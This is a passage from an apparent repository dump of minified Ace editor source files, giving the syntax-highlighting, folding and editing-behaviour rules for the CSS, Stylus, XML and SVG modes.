column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),define(\"ace/mode/stylus_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\",\"ace/mode/css_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=e(\"./css_highlight_rules\"),o=function(){var e=this.createKeywordMapper({\"support.type\":s.supportType,\"support.function\":s.supportFunction,\"support.constant\":s.supportConstant,\"support.constant.color\":s.supportConstantColor,\"support.constant.fonts\":s.supportConstantFonts},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:/\\/\\/.*$/},{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:[\"entity.name.function.stylus\",\"text\"],regex:\"^([-a-zA-Z_][-\\\\w]*)?(\\\\()\"},{token:[\"entity.other.attribute-name.class.stylus\"],regex:\"\\\\.-?[_a-zA-Z]+[_a-zA-Z0-9-]*\"},{token:[\"entity.language.stylus\"],regex:\"^ *&\"},{token:[\"variable.language.stylus\"],regex:\"(arguments)\"},{token:[\"keyword.stylus\"],regex:\"@[-\\\\w]+\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:s.pseudoElements},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:s.pseudoClasses},{token:[\"entity.name.tag.stylus\"],regex:\"(?:\\\\b)(a|abbr|acronym|address|area|article|aside|audio|b|base|big|blockquote|body|br|button|canvas|caption|cite|code|col|colgroup|datalist|dd|del|details|dfn|dialog|div|dl|dt|em|eventsource|fieldset|figure|figcaption|footer|form|frame|frameset|(?:h[1-6])|head|header|hgroup|hr|html|i|iframe|img|input|ins|kbd|label|legend|li|link|map|mark|menu|meta|meter|nav|noframes|noscript|object|ol|optgroup|option|output|p|param|pre|progress|q|samp|script|section|select|small|span|strike|strong|style|sub|summary|sup|table|tbody|td|textarea|tfoot|th|thead|time|title|tr|tt|ul|var|video)(?:\\\\b)\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation.definition.entity.stylus\",\"entity.other.attribute-name.id.stylus\"],regex:\"(#)([a-zA-Z][a-zA-Z0-9_-]*)\"},{token:\"meta.vendor-prefix.stylus\",regex:\"-webkit-|-moz\\\\-|-ms-|-o-\"},{token:\"keyword.control.stylus\",regex:\"(?:!important|for|in|return|true|false|null|if|else|unless|return)\\\\b\"},{token:\"keyword.operator.stylus\",regex:\"!|~|\\\\+|-|(?:\\\\*)?\\\\*|\\\\/|%|(?:\\\\.)\\\\.\\\\.|<|>|(?:=|:|\\\\?|\\\\+|-|\\\\*|\\\\/|%|<|>)?=|!=\"},{token:\"keyword.operator.stylus\",regex:\"(?:in|is(?:nt)?|not)\\\\b\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:s.numRe},{token:\"keyword\",regex:\"(?:ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\\\\b\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}],qqstring:[{token:\"string\",regex:'[^\"\\\\\\\\]+'},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"start\"}],qstring:[{token:\"string\",regex:\"[^'\\\\\\\\]+\"},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"start\"}]}};r.inherits(o,i),t.StylusHighlightRules=o}),define(\"ace/mode/folding/coffee\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"#\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"#\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"#\"&&s[i]==\"#\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"#\"&&o[i]==\"#\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),define(\"ace/mode/stylus\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/stylus_highlight_rules\",\"ace/mode/folding/coffee\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./stylus_highlight_rules\").StylusHighlightRules,o=e(\"./folding/coffee\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.$id=\"ace/mode/stylus\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-svg.js",
    "content": "define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),define(\"ace/mode/folding/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/range\",\"ace/mode/folding/fold_mode\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function l(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../../lib/lang\"),s=e(\"../../range\").Range,o=e(\"./fold_mode\").FoldMode,u=e(\"../../token_iterator\").TokenIterator,a=t.FoldMode=function(e,t){o.call(this),this.voidElements=e||{},this.optionalEndTags=r.mixin({},this.voidElements),t&&r.mixin(this.optionalEndTags,t)};r.inherits(a,o);var f=function(){this.tagName=\"\",this.closing=!1,this.selfClosing=!1,this.start={row:0,column:0},this.end={row:0,column:0}};(function(){this.getFoldWidget=function(e,t,n){var r=this._getFirstTagInLine(e,n);return r?r.closing||!r.tagName&&r.selfClosing?t==\"markbeginend\"?\"end\":\"\":!r.tagName||r.selfClosing||this.voidElements.hasOwnProperty(r.tagName.toLowerCase())?\"\":this._findEndTagInLine(e,n,r.tagName,r.end.column)?\"\":\"start\":\"\"},this._getFirstTagInLine=function(e,t){var n=e.getTokens(t),r=new f;for(var i=0;i<n.length;i++){var s=n[i];if(l(s,\"tag-open\")){r.end.column=r.start.column+s.value.length,r.closing=l(s,\"end-tag-open\"),s=n[++i];if(!s)return null;r.tagName=s.value,r.end.column+=s.value.length;for(i++;i<n.length;i++){s=n[i],r.end.column+=s.value.length;if(l(s,\"tag-close\")){r.selfClosing=s.value==\"/>\";break}}return r}if(l(s,\"tag-close\"))return r.selfClosing=s.value==\"/>\",r;r.start.column+=s.value.length}return null},this._findEndTagInLine=function(e,t,n,r){var i=e.getTokens(t),s=0;for(var o=0;o<i.length;o++){var u=i[o];s+=u.value.length;if(s<r)continue;if(l(u,\"end-tag-open\")){u=i[o+1];if(u&&u.value==n)return!0}}return!1},this._readTagForward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do if(l(t,\"tag-open\"))n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn();else if(l(t,\"tag-name\"))n.tagName=t.value;else if(l(t,\"tag-close\"))return n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length,e.stepForward(),n;while(t=e.stepForward());return null},this._readTagBackward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do{if(l(t,\"tag-open\"))return n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn(),e.stepBackward(),n;l(t,\"tag-name\")?n.tagName=t.value:l(t,\"tag-close\")&&(n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length)}while(t=e.stepBackward());return null},this._pop=function(e,t){while(e.length){var n=e[e.length-1];if(!t||n.tagName==t.tagName)return e.pop();if(this.optionalEndTags.hasOwnProperty(n.tagName)){e.pop();continue}return null}},this.getFoldWidgetRange=function(e,t,n){var r=this._getFirstTagInLine(e,n);if(!r)return null;var i=r.closing||r.selfClosing,o=[],a;if(!i){var f=new u(e,n,r.start.column),l={row:n,column:r.start.column+r.tagName.length+2};r.start.row==r.end.row&&(l.column=r.end.column);while(a=this._readTagForward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(a.closing){this._pop(o,a);if(o.length==0)return s.fromPoints(l,a.start)}else o.push(a)}}else{var f=new u(e,n,r.end.column),c={row:n,column:r.start.column};while(a=this._readTagBackward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(!a.closing){this._pop(o,a);if(o.length==0)return a.start.column+=a.tagName.length+2,a.start.row==a.end.row&&a.start.column<a.end.column&&(a.start.column=a.end.column),s.fromPoints(a.start,c)}else o.push(a)}}}}).call(a.prototype)}),define(\"ace/mode/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/xml_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/xml\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./xml_highlight_rules\").XmlHighlightRules,u=e(\"./behaviour/xml\").XmlBehaviour,a=e(\"./folding/xml\").FoldMode,f=e(\"../worker/worker_client\").WorkerClient,l=function(){this.HighlightRules=o,this.$behaviour=new u,this.foldingRules=new a};r.inherits(l,s),function(){this.voidElements=i.arrayToMap([]),this.blockComment={start:\"<!--\",end:\"-->\"},this.createWorker=function(e){var t=new f([\"ace\"],\"ace/mode/xml_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/xml\"}.call(l.prototype),t.Mode=l}),define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function a(){var e=o.replace(\"\\\\d\",\"\\\\d\\\\-\"),t={onMatch:function(e,t,n){var r=e.charAt(1)==\"/\"?2:1;if(r==1)t!=this.nextState?n.unshift(this.next,this.nextState,0):n.unshift(this.next),n[2]++;else if(r==2&&t==this.nextState){n[1]--;if(!n[1]||n[1]<0)n.shift(),n.shift()}return[{type:\"meta.tag.punctuation.\"+(r==1?\"\":\"end-\")+\"tag-open.xml\",value:e.slice(0,r)},{type:\"meta.tag.tag-name.xml\",value:e.substr(r)}]},regex:\"</?\"+e+\"\",next:\"jsxAttributes\",nextState:\"jsx\"};this.$rules.start.unshift(t);var n={regex:\"{\",token:\"paren.quasi.start\",push:\"start\"};this.$rules.jsx=[n,t,{include:\"reference\"},{defaultToken:\"string\"}],this.$rules.jsxAttributes=[{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",onMatch:function(e,t,n){return 